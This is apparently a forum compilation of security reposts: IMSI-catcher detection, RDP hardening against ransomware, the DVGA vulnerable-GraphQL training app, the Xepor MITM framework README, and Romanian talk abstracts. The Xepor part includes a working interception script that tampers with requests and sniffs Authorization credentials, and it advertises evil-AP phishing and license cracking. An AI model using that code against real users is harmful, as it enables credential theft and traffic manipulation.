their backend network. This information from the device combined with their backend infrastructure allows them to detect IMSI catchers. Although their heuristics appear to be great, the approach uploads a lot of sensitive data to FirstPoint’s servers, which could be problematic for organizations that want to control their own data. Crocodile Hunter Crocodile Hunter is a tool developed by the EFF to detect IMSI catchers. It requires an SDR ( software defined radio ) along with a dedicated Linux laptop or Raspberry Pi. Crocodile Hunter is a relatively simple project. It first gets the GPS location, then looks up cell tower IDs from the same location in the crowdsourced website WiGLE. WiGLE uses data uploaded by ordinary people. It compares the cell towers from WiGLE to the nearby cell towers and sees if they match. If there is a nearby tower that is not in WiGLE, it detects it as a potential IMSI catcher. Unfortunately Crocodile Hunter has many flaws: It relies on WiGLE data which can be easily compromised. Attackers could simply upload their malicious tower ID to WiGLE’s database. They could also search WiGLE for an existing tower ID in the same location and use that instead. Average people can’t use it. It requires expert knowledge and assembling electronics. Its bulky and impractical. You could probably fit this in a backpack but not your pocket ( and definitely not on an airplane, unless you want to be cavity searched ). It sends the user’s GPS location to WiGLE The future of IMSI catchers A popular IMSI catcher capable of monitoring 10,000 people at once. You cannot truly “prevent” an attack, only react to it. This is because IMSI catchers exploit vulnerabilities at the protocol level. The best you can do is detect the attack afterwards and disconnect from the network. Although 4G and 5G have brought increased network security, IMSI catchers will continue to pose a threat for decades. Some researchers are already speculating on new security for 6G networks. Detecting cellular attacks requires information that Google and Apple do not want to give to consumers. So solutions to mitigate the attacks are expensive, bulky or limited to a narrow selection of devices. There are many fake or ineffective solutions that rely on false positives to fool consumers The global cellular network is so diverse and anomalous to make many heuristic detection difficult, but not impossible. Deep investigation is required to actually track down if an IMSI catcher was ever used. Although boutique solutions can detect IMSI catchers it remains limited to specific devices or come with other drawbacks. Radio Sentinel is the most effective solution we are aware of for detecting IMSI catchers. It’s our hope eventually more solutions will emerge that become commonplace enough to deter IMSI catcher use. Sursa: https://armadillophone.com/blog/how-to-detect-imsi-catchers

How to protect RDP Posted: March 18, 2022 by Pieter Arntz You didn’t really think that the ransomware wave was coming to an end, did you? You may be tempted to think so, given the decline in reports about massive ransomware campaigns. Don’t be fooled. Over the last five years, one of the primary attack vectors for ransomware attacks has been the Remote Desktop Protocol (RDP). Remote desktop is exactly what the name implies, a tool for remotely controlling a PC that gives you all the power and control you would have if you were actually sitting behind it—which is what makes it so dangerous in the wrong hands. Bruce-force attacks Threat actors use brute-force password guessing attacks to find RDP login credentials. These attacks use computer programs that will try password after password until they guess one correctly, or run out of passwords. The passwords they guess can be sold via criminal markets to ransomware gangs that use them to breach their victims’ networks. Once they have RDP access, ransomware gangs can deploy specialized tools to: Elevate their privileges (when needed) Leave backdoors for future use Gain control over wider parts of the infiltrated network Deploy ransomware and leave payment instructions The first three steps are most important for businesses to pay attention to, as they need to be examined after a breach has been noticed. The easiest and cheapest way to stop a ransomware attack is to prevent the initial breach of the target, and in many cases that means locking down RDP. Securing RDP If you want to deploy software to remotely operate your work computers, RDP is essentially a safe and easy-to-use protocol, with a client that comes pre-installed on Windows systems and is also available for other operating systems. There are a few things you can do to make it a lot harder to gain access to your network over unauthorized RDP connections: Decide if you really need RDP. This is an important question and you should not be afraid to ask it. Even if you are hardened against brute-force attacks, there is always the chance that attackers will find a remote vulnerability in RDP and exploit it. Before you enable RDP for anyone, be sure that you need it. Limit access to the users who need it. Reduce the number of opportunities an attacker has to guess a weak password by following the principle of least privilege. This cannot be done from the Remote Desktop settings but requires security policies. We have included a guide on how to do this later in this article. Limit access to specific IP addresses. This is another form of following the principle of least privilege. There is simply no need for many IP addresses to have access to your RDP clients. Rather than banning the IP addresses that don’t need access, allow only those that do. Use strong passwords. Even the most persistent attacker will only ever guess very weak passwords because it is more cost effective to make a few guesses on a lot of computers than it is to make lots of guesses on one. So the first and most basic form of defence is to have users choose even moderately strong passwords—meaning passwords that don’t appear in lists of the most commonly used passwords, and aren’t based on dictionary words. Of course, getting users to actually do that is notoriously difficult, so you need to use other hardening measures as well. Use rate limiting. Rate limiting (such as Malwarebytes Brute Force Protection) has the effect of significantly strengthening the defenses of weak passwords. It works by reducing the speed at which attackers can make login attempts, typically by shutting them out for a period of time after a small number of incorrect guesses. This represents a huge barrier for a computer program looking to race through tens or even hundreds of thousands of password attempts. Use multi-factor authentication (MFA). MFA can stop password guessing in its tracks but it can be difficult to roll out and support. Any second authentication factor will make attacks significantly more difficult, but factors that don’t require user interaction—such as hardware keys and client certificates—are the most robust. Put RDP behind a VPN. Forcing users to connect to a VPN before they can log in to RDP effectively takes RDP off the Internet and away from password guessing attacks. This can be extremely effective but it comes at the cost of maintaining a VPN, and simply shifts the burden of securing your users’ point of access from RDP to the VPN. Diligent patching is essential. In the last few years ransomware gangs and other cybercriminals have made extensive use of vulnerabilities in popular, corporate VPNs. Use a Remote Desktop Gateway Server. This provides additional security and operational benefits, like MFA. The logs it takes of RDP sessions can prove very useful if you find yourself trying to figure out what might have happened after a breach. Because the logs are not on the compromised machine, they are harder for intruders to modify or delete. Do not disable Network Level Authentication (NLA). NLA offers an extra authentication level. Enable it, if it wasn’t already. Other things that might help The things in the list below aren’t effective enough to constitute genuine hardening, but might help reduce the volume of attacks you see. They are easy to do but they are not a substitute for the list above. Changing the RDP port. Some hardening guides recommend changing the RDP port so that it does not use the default port number, 3389. Although this might reduce the number of scans that find your RDP clients, our research suggests that plenty of attackers will still find you. Retire the Administrator username. Although some password guessing attacks use a variety of usernames, including automatically generated ones, many of them simply try to guess the password for the user named Administrator (or the local equivalent). However, because usernames are not treated as secrets by either users or systems, unlike passwords, you should not rely on the obscurity of your usernames to protect you. Limiting access to the users that need it The first step in this process is to create a user group that will be allowed remote access. You can do this in the Group Policy Management Console (GPMC.MSC). In this console, select Computer Configuration > Windows Settings > Security Settings > Restricted Groups. Right-click Restricted Groups and then click Add Group. Click Browse > type Remote > click Check Names and you should see “REMOTE DESKTOP USERS.” Click OK in the Add Groups dialog. Click Add beside the MEMBERS OF THIS GROUP box and click Browse. Type the name of the domain group, then click Check Names > click OK > OK. On the PC, run an elevated command prompt and type GPUPDATE/FORCE to refresh the GPolicy. You should see the group added under the SELECT USERS button on the REMOTE tab of the PC’s SYSTEM PROPERTIES. Now you can open the related local policies by opening Control Panel > System and Security > Administrative Tools > Local Security Policy > User Rights Assignment. Remove the “Administrators” group from the “Allow log on through Remote Desktop Services” policy and certainly do not grant access to the account with the username “Administrator.” That account is perfect for the intruders—they would love to take it over. Also remove the “Remote Desktop Users Group” as contradictory as that may seem. Because by default, the user group “Everyone” is a member of the “Remote Desktop Users” group. Now, add the user(s) that you specifically want to have remote access to this system, and make sure that they have the rights they need—but nothing more. Restrict the actions they can perform to limit the damage that they can do if the account should ever become compromised. Secure your network resources In the context of RDP attacks, it is also important that you apply some internal safety measures. PCs that can be used remotely should be able to use network resources, but not be able to destroy them. Use restrictive policies to keep the possible damage at bay that any user, not just a remote one, can do. Aftermath of an attack If you have been impacted by a ransomware attack via RDP, you’ll need to take some steps to better secure your network and endpoints. After you have recovered your files from a backup or by forking over the ransom, you need to check your systems for any changes the attackers have made that would make a future visit easier for them—especially if you decided to pay the ransom. By paying the threat actors, you have essentially painted a bulls-eye on your own back. You are now a desirable target, because they know you will pay to get your files back, if necessary. To be sure there are no artifacts left behind, check the computer that was used to access the network via RDP for Trojans and hacking tools, and also any networked devices that could have been accessed from the compromised machine. Sursa: https://blog.malwarebytes.com/security-world/business-security-world/2022/03/protect-rdp-access-ransomware-attacks/

Damn Vulnerable GraphQL Application Damn Vulnerable GraphQL Application is an intentionally vulnerable implementation of Facebook's GraphQL technology, to learn and practice GraphQL Security. Table of Contents About DVGA Operation Modes Scenarios Prerequisites Installation Installation - Docker Installation - Docker Registry Installation - Server Screenshots Maintainers Contributors Mentions Disclaimer License About DVGA Damn Vulnerable GraphQL is a deliberately weak and insecure implementation of GraphQL that provides a safe environment to attack a GraphQL application, allowing developers and IT professionals to test for vulnerabilities. DVGA has numerous flaws, such as Injections, Code Executions, Bypasses, Denial of Service, and more. See the full list under the Scenarios section. Operation Modes DVGA supports Beginner and Expert level game modes, which will change the exploitation difficulty. Scenarios Reconnaissance Discovering GraphQL Fingerprinting GraphQL Denial of Service Batch Query Attack Deep Recursion Query Attack Resource Intensive Query Attack Field Duplication Attack Aliases based Attack Information Disclosure GraphQL Introspection GraphiQL Interface GraphQL Field Suggestions Server Side Request Forgery Code Execution OS Command Injection #1 OS Command Injection #2 Injection Stored Cross Site Scripting Log spoofing / Log Injection HTML Injection Authorization Bypass GraphQL Interface Protection Bypass GraphQL Query Deny List Bypass Miscellaneous GraphQL Query Weak Password Protection Arbitrary File Write // Path Traversal Prerequisites The following Python3 libraries are required: Python3 (3.6+) Flask Flask-SQLAlchemy Graphene Graphene-SQLAlchemy See requirements.txt for dependencies. Installation Docker Clone the repository git clone git@github.com:dolevf/Damn-Vulnerable-GraphQL-Application.git && cd Damn-Vulnerable-GraphQL-Application Build the Docker image docker build -t dvga . Create a container from the image docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dvga In your browser, navigate to http://localhost:5013 Note: if you need the application to bind on a specific port (e.g. 8080), use -e WEB_PORT=8080. Docker Registry Pull the docker image from Docker Hub docker pull dolevf/dvga Create a container from the image docker run -t -p 5013:5013 -e WEB_HOST=0.0.0.0 dolevf/dvga In your browser, navigate to http://localhost:5013 Server Navigate to /opt cd /opt/ Clone the repository git clone git@github.com:dolevf/Damn-Vulnerable-GraphQL-Application.git && cd Damn-Vulnerable-GraphQL-Application Install Requirements pip3 install -r requirements.txt Run application python3 app.py In your browser, navigate to http://localhost:5013. Screenshots Maintainers Dolev Farhi Connor McKinnon Contributors A big Thank You to the kind people who helped make DVGA better: Halfluke Mentions OWASP Vulnerable Web Applications Directory GraphQL Weekly DZone API Security Weekly KitPloit tl;dr sec #72 Intigriti Blog STÖK - Bounty Thursdays #26 Brakeing Security 2021-007 Yes We Hack - How to Exploit GraphQL GraphQL Editor GraphQL Hacking (Portuguese) InQL GraphQL Scanner Demo H4ck3d - Security Conference 2021 (Spanish) Christina Hasternath - GraphQLConf 2021 Hacking APIs (Ch14) by Corey Ball - No Starch Press Hacking Simplified Part #1 Hacking Simplified Part #2 Disclaimer DVGA is highly insecure, and as such, should not be deployed on internet facing servers. By default, the application is listening on 127.0.0.1 to avoid misconfigurations. DVGA is intentionally flawed and vulnerable, as such, it comes with no warranties. By using DVGA, you take full responsibility for using it. License It is distributed under the MIT License. See LICENSE for more information. Sursa: https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application

Xepor Xepor (pronounced /ˈzɛfə/, zephyr), a web routing framework for reverse engineers and security researchers. It provides a Flask-like API for hackers to intercept and modify HTTP request and/or HTTP response in a human-friendly coding style. This project is meant to be used with mitmproxy. User write scripts with xepor, and run the script inside mitmproxy with mitmproxy -s your-script.py. If you want to step from PoC to production, from demo(e.g. http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) to something you could take out with your WiFi Pineapple, then Xepor is for you! Features Code everything with @api.route(), just like Flask! Write everything in one script and no if..else any more. Handle multiple URL routes, even multiple hosts in one InterceptedAPI instance. For each route, you can choose to modify the request before connecting to server (or even return a fake response without connection to upstream), or modify the response before forwarding to user. Blacklist mode or whitelist mode. Only allow URL endpoints defined in scripts to connect to upstream, blocking everything else (in specific domain) with HTTP 404. Suitable for transparent proxying. Human readable URL path definition and matching powered by parse Host remapping. define rules to redirect to genuine upstream from your fake hosts. Regex matching is supported. Best for SSL stripping and server side license cracking! Plus all the bests from mitmproxy! ALL operation modes ( mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / upstream:SPEC) are fully supported. Use Case Evil AP and phishing through MITM. Sniffing traffic from specific device by iptables + transparent proxy, modify the payload with xepor on the fly. Cracking cloud based software license. See examples/krisp/ as an example. Write complicated web crawler in ~100 lines of codes. See examples/polyv_scrapper/ as an example. ... and many more. SSL stripping is NOT provided by this project. Installation pip install xepor Quick start Take the script from examples/httpbin as an example. mitmweb --web-host=\* --set connection_strategy=lazy -s example/httpbin/httpbin.py In this example, we setup the mitmproxy server on 127.0.0.1. You could change it to any IP on your machine or alternatively to the IP of your VPS. The mitmproxy server running in reverse, upstream and transparent mode requires --set connection_strategy=lazy option to be set so that Xepor could function correctly. I recommand this option always be on for best stability. Set your Browser HTTP Proxy to http://127.0.0.1:8080, and access web interface at http://127.0.0.1:8081/. Send a GET request from http://httpbin.org/#/HTTP_Methods/get_get , Then you could see the modification made by Xepor in mitmweb interface, browser devtools or Wireshark. The httpbin.py do two things. When user access http://httpbin.org/get, inject a query string parameter payload=evil_param inside HTTP request. When user access http://httpbin.org/basic-auth/xx/xx/ (we just pretends we don't know the password), sniff Authorization headers from HTTP requests and print the password to the attacker. Just what mitmproxy always do, but with code written in xepor way. # https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py from mitmproxy.http import HTTPFlow from xepor import InterceptedAPI, RouteType HOST_HTTPBIN = "httpbin.org" api = InterceptedAPI(HOST_HTTPBIN) @api.route("/get") def change_your_request(flow: HTTPFlow): """ Modify URL query param. Test at: http://httpbin.org/#/HTTP_Methods/get_get """ flow.request.query["payload"] = "evil_param" @api.route("/basic-auth/{usr}/{pwd}", rtype=RouteType.RESPONSE) def capture_auth(flow: HTTPFlow, usr=None, pwd=None): """ Sniffing password. Test at: http://httpbin.org/#/Auth/get_basic_auth__user___passwd_ """ print( f"auth @ {usr} + {pwd}:", f"Captured {'successful' if flow.response.status_code < 300 else 'unsuccessful'} login:", flow.request.headers.get("Authorization", ""), ) addons = [api] Sursa: https://github.com/xepor/xepor

De-a lungul timpului am observat foarte des intrebarea: “Cum sa incep cu domeniul security?”. Exista atat persoane la inceput de drum care isi doresc o cariera pe aceasta cale cat si persoane cu experienta in domeniul IT dornice sa inteleaga ce presupune acest domeniu. Voi incerca sa raspund acestei intrebari din perspectiva personala, oferind sugestii celor care nu stiu cu ce sa inceapa si cum sa porneasca pe acest drum.

Have you considered that in certain situations the way hackers exploit vulnerabilities over the network can be predictable? Anyone with access to encrypted traffic can reverse the logic behind the exploit and thus obtain the same data as the exploit. Various automated tools have been analyzed and it has been found that these tools operate in an unsafe way. Various exploit databases were analyzed and we learned that some of these are written in an insecure (predictable) way. This presentation will showcase the results of the research, including examples of exploits that once executed can be harmful. The data we obtain after exploitation can be accessible to other entities without the need of decrypting the traffic. The SSL/TLS specs will not change. There is a clear reason for that and in this presentation I will argue this, but what will change for sure is the way hackers will write some of the exploits.

O sa exploram impreuna viata unui blue-teamer. O sa vedem exemple despre cum nimic nu e niciodata sigur, despre cursa de-a soarecele si pisica intre blue-team si atackatori dar si despre cum userii gasesc mereu cate ceva nou si interesant care strica planurile de securitate ale unei firme.

Pe parcursul prezentarii, vom aborda o tema ce se invarte mai mult in jurul Red Teaming-ului, ci anume – BadUSB. Ce este, cum il putem folosi, cateva real-life use case-uri, payload development, si bypass-uri cu acesta (UAC, CLM, AMSI, etc.).

Acest studiu se concentreaza pe analizarea unui exploit recent publicat in luna Ianuarie 2022 ce afecteaza componenta de sistem win32k din Windows kernel si rezulta intr-o vulnerabilitate de tipul elevare de privilegii. Analiza exploiturilor de tipul 1day ne poate ajuta atat pe plan defensiv, prin crearea de detectii relevante asupra celor mai noi tehnicilor de exploatare, cat si in identificare si prevenirea unor noi vulnerabilitati similare in aceleasi componente. Totodata, cercetarea acestui CVE reprezinta un bun exemplu in care patch-urile aplicate initial nu mitigheaza in profunzime problema. In cadrul prezentarii, vom discuta despre notiuni de Windows internals, atacuri de tip data-only, WinDbg kernel debugging si indicatori de detectie, cu un focus principal pe analiza defensiva si intelegerea procesului de exploatare.

În ziua de azi, când tot mai multe firme aleg sa isi tina infrastructura în diversele clouduri publice, ar trebui sa putem arunca o privire asupra posibilelor probleme care pot apărea. Vom avea o privire de ansamblu a baseline-ului de securitate în clouduri, diverse tooluri de evaluare a securitatii, apoi vom continua cu o privire spre Lambda și Kubernetes.

O detaliere orientata catre incepatori referitoare la modul de functionare intern al sistemului de operare Windows. Vom trece prin arhitectura acestuia, vom vedea componentele, cum interactioneaza intre ele si care este rolul fiecareia.

Voi prezenta cate date introductive despre modelul de securitate al SO Android, cateva tipuri de framework-uri pentru dezvoltarea de aplicatii de Android. Voi prezenta cateva tool-uri care sa ajute: MobSF, Frida, Objection, RMS, ADB, Drozer. Dupa care voi prezenta diferite atacuri precum XSS, SQLI, Arbitrary URL Opening, Sensitive data stored Unencrypted, DeepLinking, Bypass Root & SSL Pinning, Dynamic instrumentation to obtain precious data.

Recently, Amazon Web Services (AWS) cloud environment has reached more than 200 services, which presents both possibilities of business expansion and new concerns, such as an uncontrolled cloud environment, known as cloud sprawl. The more difficult it is to defend a network, the more likely it is that security incidents will occur. Moreover, the current security tools are either expensive or require large amounts of configuration. This research aims to find an automated IR solution that requires minimal configuration and can be used in any AWS environment. The solution is mapped against the first two steps of the NIST IR Life Cycle, namely Preparation and Detection & Analysis. It analyses the feasibility of two potential tools using Python, Lambda and AWS CLI, in a test environment with the ten most common services. Furthermore, AWS services for security logging and alerting are investigated, both premium and non-premium, with the goal to see what data can be extracted from them. The results indicate that the non-premium environment offers extensive data, while the premium ones provide alerts and additional logs that can easily pinpoint malicious activity. Based on the given performance, AWS CLI was considered to be the best alternative. Unlike AWS Lambda, it has no constraints (such as execution times and memory limits) and adds minimal overhead to the environment.